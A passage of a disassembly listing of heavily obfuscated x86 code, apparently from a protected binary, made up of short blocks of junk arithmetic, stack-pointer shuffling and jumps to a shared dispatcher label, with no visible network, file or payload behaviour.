; ---------------------------------------------------------------------------


loc_5BF8F5:				; CODE XREF: sub_5A55E5+24173j
		sub	al, 2Bh
		xor	al, 0FEh
		xor	dh, al
		pop	eax
		or	al, dh
		jmp	loc_5C5054
; ---------------------------------------------------------------------------


loc_5BF903:				; CODE XREF: sub_5A55E5+2038Bj
		add	esi, 39192C7Fh
		add	esi, 7C596925h
		pop	ebp
		jmp	loc_5C7133
; ---------------------------------------------------------------------------


loc_5BF915:				; CODE XREF: sub_5A55E5+209D0j
		push	ecx
		mov	ecx, 1C9B58DEh
		not	ecx
		not	ecx
		sub	ecx, 4D536DD0h
		sub	ebx, ecx
		jmp	loc_5D2E00
; ---------------------------------------------------------------------------


loc_5BF92C:				; CODE XREF: sub_5A55E5+29092j
		pop	eax
		pop	[esp+54h+var_54]
		pop	esp
		push	eax
		mov	eax, 226A0567h
		add	edx, 25515E5Bh
		sub	edx, eax
		sub	edx, 25515E5Bh
		mov	eax, [esp+50h+var_50]
		add	esp, 4
		and	edx, 779B2D11h
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		add	ecx, 19826876h
		add	ecx, edx
		sub	ecx, 19826876h
		pop	edx
		jmp	loc_5C96AE
; ---------------------------------------------------------------------------


loc_5BF971:				; CODE XREF: sub_5A55E5+1B49Ej
		pop	ecx
		push	ecx
		push	edi
		mov	edi, 66966B1Dh
		jmp	loc_5CA4E9
; ---------------------------------------------------------------------------


loc_5BF97E:				; CODE XREF: sub_5A55E5+22D5Fj
		pop	ebp
		mov	edx, [esp+50h+var_50]
		add	esp, 4
		xor	eax, ecx
		jmp	loc_5C523E
; ---------------------------------------------------------------------------


loc_5BF98F:				; CODE XREF: sub_5A55E5+2B102j
		shr	eax, 4
		not	eax
		sub	eax, 0F1490EADh
		mov	edx, eax
		pop	eax
		xor	edx, 549E29B2h
		neg	edx
		or	edx, 7FF41745h
		neg	edx
		jmp	loc_5C910A
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0D2h
		jmp	loc_5D339C
; ---------------------------------------------------------------------------


loc_5BF9B9:				; CODE XREF: sub_5A55E5+2C209j
		and	esi, 5F3A446Dh
		shl	esi, 2
		push	edi
		mov	edi, 15E0130Dh
		xor	esi, edi
		pop	edi
		add	ebx, esi
		mov	esi, [esp+48h+var_4A+2]
		push	eax
		mov	eax, esp
		jmp	loc_5D0202
; ---------------------------------------------------------------------------


loc_5BF9D8:				; CODE XREF: sub_5A55E5+2E31Ej
		mov	edx, esp
		push	ebp
		push	7FC13668h
		pop	ebp
		push	ecx
		jmp	loc_5C3870
; ---------------------------------------------------------------------------


loc_5BF9E7:				; CODE XREF: sub_5A55E5+1CE0Dj
		pop	[esp+54h+var_54]
		push	9AAh
		mov	[esp+54h+var_54], ebp
		push	eax
		mov	eax, 29B77173h
		jmp	loc_5D3CB3
; ---------------------------------------------------------------------------


loc_5BF9FD:				; CODE XREF: sub_5A55E5+2365Dj
		push	587Bh
		mov	[esp+5Ch+var_5C], ecx
		push	[esp+5Ch+var_58]
		push	[esp+60h+var_60]
		pop	ecx
		add	esp, 4
		pop	[esp+5Ch+var_5C]
		mov	esp, [esp+58h+var_58]
		jmp	loc_5C20BA
; ---------------------------------------------------------------------------


loc_5BFA1B:				; CODE XREF: sub_5A55E5+2CFB2j
		mov	word ptr [esp+58h+var_58], bp
		push	small word ptr [esp+58h+var_58+2]
		pop	bp
		pop	small word ptr [esp+58h+var_58]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5BFA2F:				; CODE XREF: sub_5A55E5+2DC04j
		mov	edx, 4D370701h
		jmp	loc_5C243E
; ---------------------------------------------------------------------------


loc_5BFA39:				; CODE XREF: sub_5A55E5+1A2B3j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp+48h+var_4A+2], ebx
		push	[esp+48h+var_46+2]
		mov	ebx, [esp+0]
		push	ecx
		mov	ecx, esp
		jmp	loc_5C6ACF
; ---------------------------------------------------------------------------


loc_5BFA59:				; CODE XREF: sub_5A55E5+1ABD3j
		and	eax, edi
		push	[esp+50h+var_50]
		mov	edi, [esp+54h+var_54]
		add	esp, 4
		jmp	loc_5C99E0
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+50h+var_50]
		push	55C9h
		mov	[esp+54h+var_54], ecx
		jmp	loc_5CC229
; ---------------------------------------------------------------------------
		push	6F27h
		mov	[esp+58h+var_58], eax
		mov	eax, 0B373913h
		sub	eax, 0B373815h
		jmp	loc_5C4596
; ---------------------------------------------------------------------------


loc_5BFA94:				; CODE XREF: sub_5A55E5+1F51Cj
		push	[esp+58h+var_58]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 350D2ACFh
		sub	ebx, 500B641Ah
		sub	ebx, 0E501C6B1h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		mov	[esp+5Ch+var_5C], edi
		push	esp
		pop	edi
		jmp	loc_5CC00E
; ---------------------------------------------------------------------------


loc_5BFAC3:				; CODE XREF: sub_5A55E5+1C4ABj
		add	ebx, 0D40D2F2Ah
		jmp	loc_5D1D54
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp+5Ah+var_5C+2], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5BFADD:				; CODE XREF: sub_5A55E5+1D30Cj
		xor	ebx, [esp+5Eh+var_60+2]
		xor	[esp+5Eh+var_60+2], ebx
		xor	ebx, [esp+5Eh+var_60+2]
		mov	esp, [esp+5Eh+var_60+2]
		xor	[esp+5Eh+var_60+2], eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5BFAF2:				; CODE XREF: sub_5A55E5+2AB7Cj
		mov	esi, 37C95167h
		jmp	loc_5C5F06
; ---------------------------------------------------------------------------


loc_5BFAFC:				; CODE XREF: sub_5A55E5+2E7B8j
		push	edi
		push	6BD4h
		mov	[esp+6Ah+var_6C+2], ecx
		mov	ecx, 7F47095Ah
		mov	edi, 0BE1C21F7h
		sub	edi, 0CDE7933h
		sub	edi, ecx
		add	edi, 0CDE7933h
		pop	ecx
		xchg	eax, edi
		jmp	loc_5D39CE
; ---------------------------------------------------------------------------


loc_5BFB24:				; CODE XREF: sub_5A55E5+2A502j
		sub	bx, 762Ah
		jmp	loc_5D2EC5
; ---------------------------------------------------------------------------


loc_5BFB2E:				; CODE XREF: sub_5A55E5+269DAj
		push	esp
		jmp	loc_5CFA4A
; ---------------------------------------------------------------------------


loc_5BFB34:				; CODE XREF: sub_5A55E5+295FFj
		add	eax, 1
		sub	eax, 2F087896h
		push	ebp
		jmp	loc_5D055F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+6Eh+var_70+2]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_5D3C1A
; ---------------------------------------------------------------------------


loc_5BFB58:				; CODE XREF: sub_5A55E5+2CD42j
		shl	edi, 7
		jmp	loc_5C5CB6
; ---------------------------------------------------------------------------


loc_5BFB60:				; CODE XREF: sub_5A55E5+28BD0j
		push	[esp+76h+var_74+2]
		pop	edx
		pop	[esp+76h+var_78+2]
		pop	esp
		pop	[esp+6Eh+var_70+2]
		mov	esp, [esp+6Ah+var_6C+2]
		push	ebp
		push	eax
		jmp	loc_5D2B8C
; ---------------------------------------------------------------------------


loc_5BFB76:				; CODE XREF: sub_5A55E5+25F65j
		push	eax
		mov	al, 0D3h
		jmp	loc_5C5519
; ---------------------------------------------------------------------------


loc_5BFB7E:				; CODE XREF: sub_5A55E5+1CF99j
		push	esi
		jmp	loc_5D2316
; ---------------------------------------------------------------------------


loc_5BFB84:				; CODE XREF: sub_5A55E5+2A535j
		push	3E19h
		mov	[esp+7Eh+var_80+2], edx
		push	esp
		mov	edx, [esp+82h+var_84+2]
		push	eax
		push	esp
		pop	eax
		push	0CD8h
		mov	[esp+8Ah+var_8C+2], ebp
		mov	ebp, 1AC934ACh
		dec	ebp
		xor	ebp, 4A9C3CF2h
		sub	ebp, 50550855h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_5D2B41
; ---------------------------------------------------------------------------


loc_5BFBB8:				; CODE XREF: sub_5A55E5+2B612j
		push	edx
		jmp	loc_5C4210
; ---------------------------------------------------------------------------


loc_5BFBBE:				; CODE XREF: sub_5A55E5+29A21j
		mov	[esp+8Ah+var_8C+2], esp
		push	edx
		jmp	loc_5C5149
; ---------------------------------------------------------------------------


loc_5BFBC7:				; CODE XREF: sub_5A55E5+1AAACj
		mov	ebx, 748702CCh
		xchg	edx, ebx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		xchg	edx, ebx
		sub	ebx, 8B78FD2Fh
		jmp	loc_5BFFE0
; ---------------------------------------------------------------------------


loc_5BFBE1:				; CODE XREF: sub_5A55E5+2D822j
		push	145Ah
		jmp	loc_5C9D15
; ---------------------------------------------------------------------------


loc_5BFBEB:				; CODE XREF: sub_5A55E5+2C1A6j
		push	ecx
		push	edx
		push	79C108F3h
		pop	edx
		push	ecx
		jmp	loc_5C60BC
; ---------------------------------------------------------------------------


loc_5BFBF9:				; CODE XREF: sub_5A55E5+29063j
		mov	word ptr [esp+9Eh+var_A0+2], dx
		mov	dh, 17h
		add	al, dh
		mov	dx, word ptr [esp+9Eh+var_A0+2]
		jmp	loc_5D306E
; ---------------------------------------------------------------------------


loc_5BFC0A:				; CODE XREF: sub_5A55E5+1FCA8j
		sub	esi, eax
		pop	eax
		xor	esi, [esp+9Ah+var_9C+2]
		jmp	loc_5D3536
; ---------------------------------------------------------------------------


loc_5BFC15:				; CODE XREF: sub_5A55E5+25490j
		xor	edi, 50273A45h
		neg	edi
		jmp	loc_5D3DA8
; ---------------------------------------------------------------------------


loc_5BFC22:				; CODE XREF: sub_5A55E5+2066Ej
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5CA181
; ---------------------------------------------------------------------------


loc_5BFC2A:				; CODE XREF: sub_5A55E5+28E68j
		mov	ebp, 3F511A82h
		sub	ebp, 1B796EA1h
		sub	ebp, 2BF17322h
		push	ebp
		inc	[esp+9Ah+var_9C+2]
		pop	ebp
		not	ebp
		jmp	loc_5CC9CD
; ---------------------------------------------------------------------------


loc_5BFC47:				; CODE XREF: sub_5A55E5+21DE8j
		mov	[esp+96h+var_98+2], edx
		mov	dl, 2Ah
		sub	esp, 4
		jmp	loc_5CF2EB
; ---------------------------------------------------------------------------


loc_5BFC57:				; CODE XREF: sub_5A55E5+2B491j
		add	ebp, ecx
		jmp	loc_5C15ED
; ---------------------------------------------------------------------------


loc_5BFC5E:				; CODE XREF: sub_5A55E5+2145Fj
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	eax
		jmp	loc_5CF244
; ---------------------------------------------------------------------------


loc_5BFC6C:				; CODE XREF: sub_5A55E5+2422Fj
		mov	ebp, eax
		jmp	loc_5C6358
; ---------------------------------------------------------------------------


loc_5BFC73:				; CODE XREF: sub_5A55E5+22FA9j
		pop	edx
		add	al, bl
		add	al, 0D2h
		jmp	loc_5CAD40
; ---------------------------------------------------------------------------


loc_5BFC7D:				; CODE XREF: sub_5A55E5+24CC7j
		mov	edi, 4
		jmp	loc_5CC87B
; ---------------------------------------------------------------------------


loc_5BFC87:				; CODE XREF: sub_5A55E5+2DF0Cj
		sub	edx, ebp
		sub	edx, 632C665Dh
		jmp	loc_5D1BEC
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5C9C33
; ---------------------------------------------------------------------------


loc_5BFC9A:				; CODE XREF: sub_5A55E5+2C66Fj
		sub	eax, esi
		pop	esi
		sub	edi, eax
		pop	eax
		push	6350h
		mov	[esp+92h+var_94+2], edi
		push	[esp+92h+var_90+2]
		jmp	loc_5C28F6
; ---------------------------------------------------------------------------


loc_5BFCB1:				; CODE XREF: sub_5A55E5+24F68j
		mov	esp, [esp+96h+var_98+2]
		push	[esp+96h+var_98+2]
		push	[esp+9Ah+var_9C+2]
		mov	edx, [esp+9Eh+var_A0+2]
		add	esp, 4
		add	esp, 4
		push	6034h
		jmp	loc_5CC33D
; ---------------------------------------------------------------------------


loc_5BFCD0:				; CODE XREF: sub_5A55E5+26726j
		mov	eax, 1CA40AD2h
		sub	edx, eax
		pop	eax
		sub	edx, esi
		add	edx, 1CA40AD2h
		mov	esi, [esp+96h+var_98+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5CA61F
; ---------------------------------------------------------------------------


loc_5BFCF0:				; CODE XREF: sub_5A55E5+1C61Cj
		add	[esp+9Ah+var_98+2], esi
		pop	esi
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5BFCFA:				; CODE XREF: sub_5A55E5+22C2Fj
		add	esi, 87BE25CBh
		xor	edx, esi
		pop	esi
		jmp	loc_5CE0A1
; ---------------------------------------------------------------------------


loc_5BFD08:				; CODE XREF: sub_5A55E5+2C3C2j
		mov	ebp, 3DE6730Bh
		sub	ebp, 9E3B4B58h
		push	ecx
		mov	ecx, 1072417Bh
		sub	edx, ecx
		pop	ecx
		add	edx, ebp
		sub	esp, 4
		mov	[esp+96h+var_98+2], esi
		jmp	loc_5C0A50
; ---------------------------------------------------------------------------


loc_5BFD29:				; CODE XREF: sub_5A55E5+22967j
		xor	eax, ebp
		mov	ebp, [esp+96h+var_98+2]
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], edx
		push	9FCh
		mov	[esp+9Eh+var_A0+2], esp
		add	[esp+9Eh+var_A0+2], 4
		mov	edx, [esp+9Eh+var_A0+2]
		add	esp, 4
		add	edx, 4
		push	esi
		mov	esi, 4
		jmp	loc_5C6FE7
; ---------------------------------------------------------------------------


loc_5BFD60:				; CODE XREF: sub_5A55E5+2C543j
		add	ecx, eax
		pop	eax
		jmp	loc_5C9DDB
; ---------------------------------------------------------------------------


loc_5BFD68:				; CODE XREF: sub_5A55E5+244ADj
		add	ebp, 75E378FAh
		pop	edi
		add	ebp, ebx
		sub	ebp, 20F44EF0h
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5C2EFA
; ---------------------------------------------------------------------------


loc_5BFD8C:				; CODE XREF: sub_5A55E5+2D2F7j
		push	esi
		jmp	loc_5C11C8
; ---------------------------------------------------------------------------


loc_5BFD92:				; CODE XREF: sub_5A55E5+1DFD1j
		pop	ebx
		or	dx, si
		pop	si
		not	dx
		add	dx, 0BA19h
		sub	ax, dx
		mov	edx, [esp+94h+var_94]
		push	edx
		push	esp
		jmp	loc_5D211E
; ---------------------------------------------------------------------------


loc_5BFDAD:				; CODE XREF: sub_5A55E5+26807j
		sub	eax, 1
		shl	eax, 1
		sub	eax, 0B8BF7D8Ah
		add	ebp, eax
		mov	eax, [esp+9Ch+var_9C]
		add	esp, 4
		xchg	ebp, [esp+98h+var_98]
		mov	esp, [esp+98h+var_98]
		sar	word ptr [esp+98h+var_98], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5BFDD1:				; CODE XREF: sub_5A55E5+1CA89j
		pop	edi
		pop	[esp+98h+var_98]
		pop	esp
		xchg	ecx, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		jmp	loc_5C7F2E
; ---------------------------------------------------------------------------


loc_5BFDE1:				; CODE XREF: sub_5A55E5+272AAj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+94h+var_94]
		pop	esp
		jmp	loc_5C1FB4
; ---------------------------------------------------------------------------


loc_5BFDF5:				; CODE XREF: sub_5A55E5+24723j
		pop	edi
		sub	ebx, 2BEA04C3h
		add	ebx, esi
		add	ebx, 2BEA04C3h
		pop	esi
		jmp	loc_5D3441
; ---------------------------------------------------------------------------


loc_5BFE0A:				; CODE XREF: sub_5A55E5+20DB9j
		pop	ebx
		pop	ecx
		jmp	loc_5CB971
; ---------------------------------------------------------------------------


loc_5BFE11:				; CODE XREF: sub_5A55E5+1C993j
		mov	[esp+80h+var_80], esp
		jmp	loc_5CEF86
; ---------------------------------------------------------------------------


loc_5BFE19:				; CODE XREF: sub_5A55E5+2B5EEj
		mov	edi, 57620E04h
		shl	edi, 2
		shl	edi, 3
		jmp	loc_5D05B2
; ---------------------------------------------------------------------------


loc_5BFE29:				; CODE XREF: sub_5A55E5+2CFFFj
		add	esp, 4
		add	ebp, 0E4171049h
		mov	ebx, ebp
		jmp	loc_5D21C3
; ---------------------------------------------------------------------------


loc_5BFE3C:				; CODE XREF: sub_5A55E5+2B4ECj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+80h+var_7C]
		jmp	loc_5CA0A3
; ---------------------------------------------------------------------------


loc_5BFE50:				; CODE XREF: sub_5A55E5+1EC03j
		push	[esp+84h+var_84]
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, 77CF56FDh
		shr	edi, 8
		push	esi
		mov	esi, 0
		sub	esi, edi
		mov	edi, esi
		pop	esi
		xor	edi, 46A86968h
		jmp	loc_5C0E63
; ---------------------------------------------------------------------------


loc_5BFE76:				; CODE XREF: sub_5A55E5+2D5F2j
		pop	esp
		sub	edi, 626D4BD4h
		jmp	loc_5CF7A0
; ---------------------------------------------------------------------------


loc_5BFE82:				; CODE XREF: sub_5A55E5+2C223j
		pop	ecx
		push	edx
		push	esp
		mov	edx, [esp+84h+var_84]
		jmp	loc_5C7D73
; ---------------------------------------------------------------------------


loc_5BFE8D:				; CODE XREF: sub_5A55E5+29F45j
		add	ecx, 5952049Bh
		xor	ecx, 21C064BFh
		sub	ecx, 3F3EBE15h
		sub	esi, ecx
		jmp	loc_5C0549
; ---------------------------------------------------------------------------


loc_5BFEA6:				; CODE XREF: sub_5A55E5+25B83j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+84h+var_84]
		pop	esp
		xor	ebx, 0F3AD6070h
		mov	edi, ebx
		jmp	loc_5CFB81
; ---------------------------------------------------------------------------


loc_5BFEC2:				; CODE XREF: sub_5A55E5+1D89Ej
		sub	ecx, edi
		pop	edi
		add	ecx, 0B69EB0D9h
		add	esi, ecx
		pop	ecx
		push	edx
		push	51C6h
		mov	[esp+80h+var_80], esi
		push	41212274h
		pop	esi
		push	ecx
		push	ebp
		jmp	loc_5C6979
; ---------------------------------------------------------------------------


loc_5BFEE4:				; CODE XREF: sub_5A55E5+1BACEj
		add	esp, 4
		jmp	loc_5C5EC7
; ---------------------------------------------------------------------------


loc_5BFEEC:				; CODE XREF: sub_5A55E5+23124j
		pop	ecx
		jmp	loc_5C6F6A
; ---------------------------------------------------------------------------


loc_5BFEF2:				; CODE XREF: sub_5A55E5+28E35j
		shl	esi, 2
		shr	esi, 7
		jmp	loc_5C9E4E
; ---------------------------------------------------------------------------


loc_5BFEFD:				; CODE XREF: sub_5A55E5+2B0B9j
		push	3136h
		mov	[esp+84h+var_84], ebx
		mov	ebx, 63DC4FCEh
		jmp	loc_5D0CD2
; ---------------------------------------------------------------------------


loc_5BFF0F:				; CODE XREF: sub_5A55E5+2054Bj
		add	[eax], ebp
		pop	eax
		mov	ebp, [esp+80h+var_80]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4AC67F1Bh
		or	edi, 4D3A1C4Ah
		jmp	loc_5CBEF2
; ---------------------------------------------------------------------------


loc_5BFF29:				; CODE XREF: sub_5A55E5+2BD97j
		mov	ecx, [esp+88h+var_88]
		add	esp, 4
		jmp	loc_5C7FAF
; ---------------------------------------------------------------------------


loc_5BFF37:				; CODE XREF: sub_5A55E5+1EE30j
		sub	ebp, 8820FB5Ah
		jmp	loc_5D2608
; ---------------------------------------------------------------------------


loc_5BFF42:				; CODE XREF: sub_5A55E5+28839j
		pop	eax
		push	ebx
		mov	ebx, 6F7D6702h
		or	ebx, 0B3A3118h
		add	ebx, 908088EAh
		add	eax, ebx
		pop	ebx
		jmp	loc_5CA0BF
; ---------------------------------------------------------------------------


loc_5BFF5D:				; CODE XREF: sub_5A55E5+213A4j
		mov	esi, 760C479Ch
		push	eax
		mov	eax, 3C6C31EAh
		jmp	loc_5C3648
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+84h+var_84]
		push	49C4h
		jmp	loc_5C758D
; ---------------------------------------------------------------------------


loc_5BFF7B:				; CODE XREF: sub_5A55E5+1B195j
		push	edx
		push	47123DAh
		pop	edx
		shr	edx, 3
		inc	edx
		xor	edx, 330B5403h
		push	ebx
		mov	ebx, edx
		mov	edi, ebx
		pop	ebx
		pop	edx
		sub	[esp+88h+var_80], edi
		jmp	loc_5C1085
; ---------------------------------------------------------------------------


loc_5BFF9C:				; CODE XREF: sub_5A55E5+22356j
		add	edi, 40A6578Dh
		jmp	loc_5CFC3F
; ---------------------------------------------------------------------------


loc_5BFFA7:				; CODE XREF: sub_5A55E5+22FFFj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+88h+var_88]
		pop	esp
		mov	[esp+84h+var_84], eax
		push	edx
		mov	edx, 27824CA2h
		add	edx, 489A2026h
		mov	eax, edx
		pop	edx
		sub	ecx, eax
		mov	eax, [esp+84h+var_84]
		jmp	loc_5C8487
; ---------------------------------------------------------------------------


loc_5BFFD5:				; CODE XREF: sub_5A55E5+2173Cj
		xchg	ebx, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		jmp	loc_5CE8EA
; ---------------------------------------------------------------------------


loc_5BFFE0:				; CODE XREF: sub_5A55E5+1A5F7j
		add	edx, ebx
		pop	ebx
		push	2075h
		mov	[esp+8Eh+var_90+2], edi
		push	545063A3h
		pop	edi
		push	edx
		mov	edx, 3B20748Fh
		xchg	ecx, edx
		jmp	loc_5D39A6
; ---------------------------------------------------------------------------


loc_5BFFFE:				; CODE XREF: sub_5A55E5+279F0j
		sub	eax, 28B47333h
		sub	esp, 4
		mov	[esp+96h+var_98+2], edx
		mov	edx, 50C975DFh
		xor	edx, 33C2295Ch
		jmp	loc_5CCF57
; ---------------------------------------------------------------------------


loc_5C001C:				; CODE XREF: sub_5A55E5+2CF4Fj
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp+96h+var_98+2]
		xor	[esp+96h+var_98+2], edi
		xor	edi, [esp+96h+var_98+2]
		pop	esp
		mov	[esp+92h+var_94+2], esp
		jmp	loc_5D1A4C
; ---------------------------------------------------------------------------


loc_5C003A:				; CODE XREF: sub_5A55E5+2B174j
		add	esp, 4
		push	edx
		mov	edx, 7C8A5CCFh
		add	ecx, edx
		pop	edx
		add	ecx, edx
		sub	ecx, 7C8A5CCFh
		pop	edx
		xchg	ecx, [esp+8Ah+var_8C+2]
		mov	esp, [esp+8Ah+var_8C+2]
		sub	ecx, 1FA1855h


loc_5C005B:				; DATA XREF: ___:off_443E64o
		jmp	loc_5D0D11
; ---------------------------------------------------------------------------


loc_5C0060:				; CODE XREF: sub_5A55E5+1E162j
		pop	ecx
		jmp	loc_5C9EF7
; ---------------------------------------------------------------------------


loc_5C0066:				; CODE XREF: sub_5A55E5+24D06j
		pop	[esp+86h+var_88+2]
		mov	esp, [esp+82h+var_84+2]
		sar	byte ptr [esp+82h+var_84+2], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C0075:				; CODE XREF: sub_5A55E5+27698j
		pop	edx
		not	edx
		push	1936h
		mov	[esp+86h+var_88+2], esi
		push	edx
		pop	esi
		pop	edx
		jmp	loc_5C5506
; ---------------------------------------------------------------------------


loc_5C0088:				; CODE XREF: sub_5A55E5+1B379j
		push	edx
		jmp	loc_5CC9A1
; ---------------------------------------------------------------------------


loc_5C008E:				; CODE XREF: sub_5A55E5+21F03j
		mov	[esp+86h+var_88+2], ebx
		jmp	loc_5BFBC7
; ---------------------------------------------------------------------------


loc_5C0096:				; CODE XREF: sub_5A55E5+28FAEj
		push	ebp
		pop	ecx
		mov	ebp, [esp+86h+var_88+2]
		add	esp, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_5D2031
; ---------------------------------------------------------------------------


loc_5C00A9:				; CODE XREF: sub_5A55E5+25FE6j
		mov	ecx, 11FB1DD3h
		neg	ecx
		and	ecx, 60373885h
		xor	ecx, 1A755906h
		or	ecx, 5D5F0785h
		xor	ecx, 688F1550h
		push	ecx
		mov	ecx, 485E5D4Fh
		sub	ecx, 7BBA217Ah
		add	ecx, 75F16585h
		add	ecx, 842AC32h
		add	ebx, ecx
		pop	ecx
		add	ebx, ecx
		push	edi
		jmp	loc_5C5BB7
; ---------------------------------------------------------------------------


loc_5C00EB:				; CODE XREF: sub_5A55E5+1AE92j
		add	esi, ebx
		add	esi, 20BC5BE4h
		push	[esp+82h+var_84+2]
		pop	ebx
		add	esp, 4
		push	esi
		jmp	loc_5CF858
; ---------------------------------------------------------------------------


loc_5C0103:				; CODE XREF: sub_5A55E5+22493j
		push	45F5023Fh
		mov	ecx, [esp+86h+var_88+2]
		add	esp, 4
		add	ecx, 0BA0AFDC0h
		mov	ebp, ecx
		pop	ecx
		add	eax, ebp
		jmp	loc_5CE5FF
; ---------------------------------------------------------------------------


loc_5C011E:				; CODE XREF: sub_5A55E5+26423j
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp+7Ah+var_7C+2]
		pop	esp
		jmp	loc_5C6F35
; ---------------------------------------------------------------------------


loc_5C0135:				; CODE XREF: sub_5A55E5+2A32Dj
		pop	[esp+76h+var_78+2]
		mov	esp, [esp+72h+var_74+2]
		shl	word ptr [esp+72h+var_74+2], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C0145:				; CODE XREF: sub_5A55E5+284C8j
		not	eax
		push	edi
		mov	edi, 5A442971h
		jmp	loc_5D00B8
; ---------------------------------------------------------------------------


loc_5C0152:				; CODE XREF: sub_5A55E5+21E7Cj
		mov	[esp+7Ah+var_7C+2], ebx
		push	2
		pop	ebx
		sub	edi, 135C376Bh
		jmp	loc_5C4735
; ---------------------------------------------------------------------------


loc_5C0166:				; CODE XREF: sub_5A55E5+2424Bj
		mov	bh, 0F8h
		sub	bh, 0D0h
		jmp	loc_5CADFF
; ---------------------------------------------------------------------------


loc_5C0170:				; CODE XREF: sub_5A55E5+2C7D5j
		mov	dl, 0A9h
		and	dl, 26h
		push	eax
		push	edx
		mov	dh, 6Fh
		mov	al, dh
		pop	edx
		inc	al
		or	al, 0E7h
		jmp	loc_5C644A
; ---------------------------------------------------------------------------


loc_5C0185:				; CODE XREF: sub_5A55E5+21D8Aj
		mov	[esp+7Eh+var_80+2], ebx
		jmp	loc_5D2863
; ---------------------------------------------------------------------------


loc_5C018D:				; CODE XREF: sub_5A55E5+28D36j
		push	[esp+7Eh+var_80+2]
		pop	edx
		add	esp, 4
		jmp	loc_5D3247
; ---------------------------------------------------------------------------


loc_5C0199:				; CODE XREF: sub_5A55E5+1CDA4j
		mov	eax, [esp+7Ah+var_7C+2]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp+7Ah+var_7C+2]
		pop	esp
		jmp	loc_5BFA59
; ---------------------------------------------------------------------------


loc_5C01BD:				; CODE XREF: sub_5A55E5+22019j
		mov	edx, 3C82633Eh
		sub	edx, 1
		shl	edx, 3
		push	ecx
		mov	ecx, 56AC4877h
		jmp	loc_5C94D4
; ---------------------------------------------------------------------------


loc_5C01D3:				; CODE XREF: sub_5A55E5+1C60Ej
		push	esp
		pop	[esp+7Eh+var_80+2]
		add	[esp+7Ah+var_7C+2], 4
		jmp	loc_5D0885
; ---------------------------------------------------------------------------


loc_5C01E0:				; CODE XREF: sub_5A55E5+23046j
		push	475E282Bh
		jmp	loc_5C1C53
; ---------------------------------------------------------------------------


loc_5C01EA:				; CODE XREF: sub_5A55E5+1E847j
		mov	bl, 2Dh
		shl	bl, 4
		push	small 12D3h
		mov	word ptr [esp+80h+var_80], dx
		mov	dl, 88h
		sub	bl, 8Fh
		add	bl, dl
		add	bl, 8Fh
		mov	dx, word ptr [esp+80h+var_80]
		add	esp, 2
		not	bl
		shr	bl, 5
		shl	bl, 7
		add	bl, 4Ah
		jmp	loc_5C9C79
; ---------------------------------------------------------------------------


loc_5C0218:				; CODE XREF: sub_5A55E5+1F40Dj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+80h+var_80]
		pop	esp
		mov	[esp+7Ch+var_7C], ebp
		jmp	loc_5CFF57
; ---------------------------------------------------------------------------


loc_5C0233:				; CODE XREF: sub_5A55E5+1B9FDj
		add	eax, 3DA16FA7h
		push	[esp+7Ch+var_7C]
		pop	esi
		push	545Ch
		mov	[esp+80h+var_80], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+80h+var_80]
		jmp	loc_5C56A4
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+80h+var_80]
		push	7AEAh
		mov	[esp+84h+var_84], eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		jmp	loc_5C0ECA
; ---------------------------------------------------------------------------


loc_5C0273:				; CODE XREF: sub_5A55E5+2DA3Fj
		inc	edx
		add	edx, 0FE36C2F7h
		add	ebx, edx
		pop	edx
		push	2883h
		mov	[esp+88h+var_88], eax
		jmp	loc_5BF864
; ---------------------------------------------------------------------------


loc_5C028A:				; CODE XREF: sub_5A55E5+25220j
		add	ecx, 79204FF2h
		add	ecx, 73CE5F6Fh
		jmp	loc_5C8ED5
; ---------------------------------------------------------------------------


